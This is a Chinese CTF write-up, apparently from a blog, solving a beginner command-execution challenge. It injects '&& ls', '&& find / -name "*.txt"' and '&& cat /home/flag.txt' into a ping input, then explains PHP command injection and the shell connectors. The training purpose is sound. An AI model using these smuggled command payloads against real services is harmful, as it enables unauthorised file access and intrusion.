攻防世界-web-新手练习区(4)-command_execution

题目

[外链图片转存失败(img-POLxFvpf-1562054492256)(E:\CTF\小白学习总结\攻防世界\web\picture\11.ti.PNG)]

[外链图片转存失败(img-qeZZoVAb-1562054492258)(E:\CTF\小白学习总结\攻防世界\web\picture\11.1.PNG)]

Writeup

因为是ping,所以尝试

ping 127.0.0.1

[外链图片转存失败(img-0cu3mAx3-1562054492259)(E:\CTF\小白学习总结\攻防世界\web\picture\11.2.PNG)]

可以正常执行

尝试命令拼接执行

127.0.0.1 && ls

[外链图片转存失败(img-DqOyuKuC-1562054492260)(E:\CTF\小白学习总结\攻防世界\web\picture\11.3.PNG)]

可以正常执行

尝试找到所有的.txt文件(这里是参考大佬思路)

127.0.0.1 && find / -name "*.txt"

[外链图片转存失败(img-OR7slHWa-1562054492260)(E:\CTF\小白学习总结\攻防世界\web\picture\11.4.PNG)]

发现flag.txt

于是打开flag.txt文件,得到flag

127.0.0.1 && cat /home/flag.txt

[外链图片转存失败(img-pJazcvZL-1562054492262)(E:\CTF\小白学习总结\攻防世界\web\picture\11.flag.PNG)]

知识点

命令执行漏洞

当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。

在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令

  • A&&B,表示A命令语句执行成功,然后执行B命令语句
  • A&B,表示简单的拼接,A命令语句和B命令语句没有制约关系
  • A|B,表示A命令语句的输出,作为B命令语句的输入执行
  • A||B,表示A命令语句执行失败,然后才执行B命令语句
  • A;B,表示先执行A,再执行B

推荐文章:

https://www.freebuf.com/column/154670.html

https://www.cnblogs.com/xiaozi/p/7831529.htm

发布了54 篇原创文章 · 获赞 25 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/wyj_1216/article/details/94450113